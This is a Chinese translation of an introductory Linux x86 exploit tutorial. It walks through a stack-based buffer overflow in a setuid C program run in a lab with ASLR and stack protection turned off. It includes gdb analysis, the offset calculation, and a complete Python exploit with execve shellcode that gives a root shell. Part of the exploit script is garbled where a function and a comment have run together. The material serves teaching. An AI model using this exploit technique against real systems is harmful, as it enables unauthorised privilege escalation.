典型的基于堆栈的缓冲区溢出

译者:hackyzh

原文:Classic Stack Based Buffer Overflow

虚拟机安装:Ubuntu 12.04(x86)

这个帖子是最简单的漏洞开发教程系列,在互联网上你可以找到很多关于它的文章。尽管它丰富和熟悉,我更喜欢自己写博客文章,因为它将作为我未来许多职位的先决条件!

什么是缓冲区溢出?

将源缓冲区复制到目标缓冲区可能导致溢出

1、源字符串长度大于目标字符串长度。

2、不进行大小检查。

缓冲区溢出有两种类型:

1、基于堆栈的缓冲区溢出 - 这里的目标缓冲区位于堆栈中

2、基于堆的缓冲区溢出 - 这里的目标缓冲区位于堆中

在这篇文章中,我将只讨论基于堆栈的缓冲区溢出。堆溢出将在Linux(x86)漏洞开发教程系列的 “3级”中讨论!

缓冲区溢出错误导致任意代码执行!

什么是任意代码执行?

任意代码执行允许攻击者执行他的代码以获得对受害机器的控制。受害机器的控制是通过多种方式实现的,例如产生根shell,添加新用户,打开网口等…

听起来很有趣,足够的定义让我们看看缓冲区溢出攻击的代码!

漏洞代码

  1. //vuln.c
  2. #include <stdio.h>
  3. #include <string.h>
  4. int main(int argc, char* argv[]) {
  5. /* [1] */ char buf[256];
  6. /* [2] */ strcpy(buf,argv[1]);
  7. /* [3] */ printf("Input:%s\n",buf);
  8. return 0;
  9. }

编译代码

  1. #echo 0 > /proc/sys/kernel/randomize_va_space
  2. $gcc -g -fno-stack-protector -z execstack -o vuln vuln.c
  3. $sudo chown root vuln
  4. $sudo chgrp root vuln
  5. $sudo chmod +s vuln

上述漏洞代码的[2]行显示了缓冲区溢出错误。这个bug可能导致任意代码执行,因为源缓冲区内容是用户输入的!

如何执行任意代码执行?

使用称为“ 返回地址覆盖 ”的技术实现任意代码执行。这种技术有助于攻击者覆盖位于堆栈中的“返回地址”,并且这种覆盖将导致任意代码执行。

在研究漏洞代码之前,为了更好的理解,让我们反汇编并且绘制出漏洞代码的堆栈布局。

反汇编

  1. (gdb) disassemble main
  2. Dump of assembler code for function main:
  3. //Function Prologue
  4. 0x08048414 <+0>:push %ebp //backup caller's ebp
  5. 0x08048415 <+1>:mov %esp,%ebp //set callee's ebp to esp
  6. 0x08048417 <+3>:and $0xfffffff0,%esp //栈对齐
  7. 0x0804841a <+6>:sub $0x110,%esp //stack space for local variables
  8. 0x08048420 <+12>:mov 0xc(%ebp),%eax //eax = argv
  9. 0x08048423 <+15>:add $0x4,%eax //eax = &argv[1]
  10. 0x08048426 <+18>:mov (%eax),%eax //eax = argv[1]
  11. 0x08048428 <+20>:mov %eax,0x4(%esp) //strcpy arg2
  12. 0x0804842c <+24>:lea 0x10(%esp),%eax //eax = 'buf'
  13. 0x08048430 <+28>:mov %eax,(%esp) //strcpy arg1
  14. 0x08048433 <+31>:call 0x8048330 <strcpy@plt> //call strcpy
  15. 0x08048438 <+36>:mov $0x8048530,%eax //eax = format str "Input:%s\n"
  16. 0x0804843d <+41>:lea 0x10(%esp),%edx //edx = buf
  17. 0x08048441 <+45>:mov %edx,0x4(%esp) //printf arg2
  18. 0x08048445 <+49>:mov %eax,(%esp) //printf arg1
  19. 0x08048448 <+52>:call 0x8048320 <printf@plt> //call printf
  20. 0x0804844d <+57>:mov $0x0,%eax //return value 0
  21. //Function Epilogue
  22. 0x08048452 <+62>:leave //mov ebp, esp; pop ebp;
  23. 0x08048453 <+63>:ret //return
  24. End of assembler dump.
  25. (gdb)

堆栈布局:

典型的基于堆栈的缓冲区溢出 - 图1

因为我们已经知道用户输入的大于256,将溢出目标缓冲区并覆盖堆栈中存储的返回地址。通过发送一系列A来测试它。

测试步骤1:是否可以覆盖返回地址?

  1. $ gdb -q vuln
  2. Reading symbols from /home/sploitfun/lsploits/new/csof/vuln...done.
  3. (gdb) r `python -c 'print "A"*300'`
  4. Starting program: /home/sploitfun/lsploits/new/csof/vuln `python -c 'print "A"*300'`
  5. Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  6. Program received signal SIGSEGV, Segmentation fault.
  7. 0x41414141 in ?? ()
  8. (gdb) p/x $eip
  9. $1 = 0x41414141
  10. (gdb)

以上输出显示指令指针寄存器(EIP)被AAAA覆盖,这样可以确定覆盖返回地址是可能的!

测试步骤2:目的缓冲区的偏移量是多少?

这里让我们找出返回地址相对与目的缓冲区buf的偏移量。在反汇编并绘制了main的堆栈布局后,现在可以尝试找到偏移位置信息! 堆栈布局显示返回地址位于距目标缓冲区buf的偏移(0x10c)处。0x10c计算如下:

  1. 0x10c = 0x100 + 0x8 + 0x4

其中

  1. 0x100 is buf 大小
  2. 0x8 is 对齐空间 //这里有点不太明白为啥需要对齐
  3. 0x4 is 调用者的ebp

因此,用户输入的 "A" * 268 + "Bv * 4,覆盖了buf,对齐空间和调用者的ebp覆盖为A并且返回地址变为BBBB

  1. $ gdb -q vuln
  2. Reading symbols from /home/sploitfun/lsploits/new/csof/vuln...done.
  3. (gdb) r `python -c 'print "A"*268 + "B"*4'`
  4. Starting program: /home/sploitfun/lsploits/new/csof/vuln `python -c 'print "A"*268 + "B"*4'`
  5. Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
  6. Program received signal SIGSEGV, Segmentation fault.
  7. 0x42424242 in ?? ()
  8. (gdb) p/x $eip
  9. $1 = 0x42424242
  10. (gdb)

以上输出显示攻击者可以控制返回地址。 位于堆栈位置(0xbffff1fc)的返回地址被BBBB覆盖。 有了这些信息,我们可以编写一个漏洞利用程序来实现任意的代码执行。

攻击代码:

  1. #exp.py
  2. #!/usr/bin/env python
  3. import struct
  4. from subprocess import call
  5. #Stack address where shellcode is copied.
  6. ret_addr = 0xbffff1d0
  7. #Spawn a shell
  8. #execve(/bin/sh)
  9. scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
  10. #endianess convertion
  11. def conv(num):
  12. return struct.pack("<I",numnk + RA + NOP's + Shellcode
  13. buf = "A" * 268
  14. buf += conv(ret_addr)
  15. buf += "\x90" * 100
  16. buf += scode
  17. print "Calling vulnerable program"
  18. call(["./vuln", buf])

执行上面的exploit程序,给了我们root shell,如下所示:

  1. $ python exp.py
  2. Calling vulnerable program
  3. Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��������������������������������������������������������������������������������������������������������1Ph//shh/bin��P��S���
  4. # id
  5. uid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun)
  6. # exit
  7. $

注意:为了获得这个root shell,我们关闭了许多漏洞利用缓解技术。 对于所有文章中的1级,我已经禁用了这些利用减轻技术,因为第1级的目标是向您介绍漏洞。 当我们进入Linux(x86)利用开发教程系列的“2级”时,真正的乐趣会发生在这里,我将在此讨论绕过这些利用减轻技术!